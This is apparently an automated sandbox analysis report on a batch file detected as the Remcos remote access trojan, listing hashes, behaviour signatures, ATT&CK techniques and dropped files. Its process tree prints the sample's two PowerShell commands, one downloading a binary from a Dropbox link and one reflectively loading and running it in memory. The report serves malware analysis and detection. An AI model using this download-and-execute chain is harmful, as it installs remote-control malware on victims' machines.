remcos | 706ea002a1347263e15b09b2f67c2dc9157c0e2b339352ff4ec4430f52ffd85e

Analysis

max time kernel
5s
max time network
6s
platform
windows11-21h2_x64
resource
win11-20241007-en
resource tags

arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system
submitted
24-11-2024 11:17

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General

Target

test - Kopie.bat
Size

861B
MD5

f87031970e569760e8d221b726a4c679
SHA1

f2b149768f61329bf32221eb7dd5c99313eee085
SHA256

706ea002a1347263e15b09b2f67c2dc9157c0e2b339352ff4ec4430f52ffd85e
SHA512

3f135dd61288c3def67c0a5b3f3ba46cc9c0820c776335f437f85b81810b574ef759600dbfd6794f78624782e1fbe726e7d810f6609f0e7f206540e5c79a285f

Score

10^/10

remcos execution rat

Malware Config

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

Blocklisted process makes network request 2 IoCs

flow	pid	Process
2	2960	powershell.exe
3	2960	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
2960	powershell.exe
3408	powershell.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2960	powershell.exe
2960	powershell.exe
3408	powershell.exe
3408	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2960	powershell.exe
Token: SeDebugPrivilege	3408	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2400 wrote to memory of 2960	2400	cmd.exe	80
PID 2400 wrote to memory of 2960	2400	cmd.exe	80
PID 2400 wrote to memory of 3408	2400	cmd.exe	82
PID 2400 wrote to memory of 3408	2400	cmd.exe	82

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\test - Kopie.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2400
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/go4g22tj0t5b12ig0ohjb/test.bin?rlkey=5lnzusf90ok1cc4vkzhnif6l4&st=xhzj7uyn&dl=1' -OutFile 'test.bin'"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2960
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "[Reflection.Assembly]::Load(File.ReadAllBytes('test.bin')).EntryPoint.Invoke(null, @())"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3408

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
5f4c933102a824f41e258078e34165a7

SHA1
d2f9e997b2465d3ae7d91dad8d99b77a2332b6ee

SHA256
d69b7d84970cb04cd069299fd8aa9cef8394999588bead979104dc3cb743b4f2

SHA512
a7556b2be1a69dbc1f7ff4c1c25581a28cb885c7e1116632c535fee5facaa99067bcead8f02499980f1d999810157d0fc2f9e45c200dee7d379907ef98a6f034

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
da255d6e827f6f566661652c5f08620e

SHA1
27a36eb35d67c0ef70bf71d5be1a989641808d65

SHA256
a3b85d0066eeb4d7f0ce0c48eacbb922d6b48fd108c611f7cd05835fc0acc956

SHA512
7aa629b4929885cf5c42bc1d280083dbd31ccac6425f6757cfce07dbbe4ad33a85fff1d4f8907505dc13f710d4308ee06d1fbc77e365b6b0392c8328b2fc99d0

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C:\Users\Admin\AppData\Local\Temp\DownloadAndRun\test.bin

Filesize
467KB

MD5
2cebaf36ff6bc2d6cb65fe5b05219320

SHA1
804d909e328929e357fb8b4c08a7c8a851920bed

SHA256
333c783deaee7a6685967a731bd8bd8d2009bb032c7e98d22df7973d350fbe7a

SHA512
bf6d4e95065f337d2900f5e6d6638661bebaa79ab896ea30718f727f3326fe9cd75264fb0804e53ed4b4ad9a45f304c4b53d05c9e292caa4974d83e696b0aa96

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C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_us4dwowz.i32.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

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memory/2960-10-0x00007FFE79A50000-0x00007FFE7A512000-memory.dmp

Filesize
10.8MB

Download
memory/2960-12-0x00007FFE79A50000-0x00007FFE7A512000-memory.dmp

Filesize
10.8MB

Download
memory/2960-16-0x00007FFE79A50000-0x00007FFE7A512000-memory.dmp

Filesize
10.8MB

Download
memory/2960-11-0x00007FFE79A50000-0x00007FFE7A512000-memory.dmp

Filesize
10.8MB

Download
memory/2960-0-0x00007FFE79A53000-0x00007FFE79A55000-memory.dmp

Filesize
8KB

Download
memory/2960-1-0x0000024F6EE50000-0x0000024F6EE72000-memory.dmp

Filesize
136KB

Download
memory/3408-26-0x00007FFE79A50000-0x00007FFE7A512000-memory.dmp

Filesize
10.8MB

Download
memory/3408-28-0x00007FFE79A50000-0x00007FFE7A512000-memory.dmp

Filesize
10.8MB

Download
memory/3408-29-0x00007FFE79A50000-0x00007FFE7A512000-memory.dmp

Filesize
10.8MB

Download
memory/3408-30-0x00007FFE79A50000-0x00007FFE7A512000-memory.dmp

Filesize
10.8MB

Download
memory/3408-32-0x00007FFE79A50000-0x00007FFE7A512000-memory.dmp

Filesize
10.8MB

Download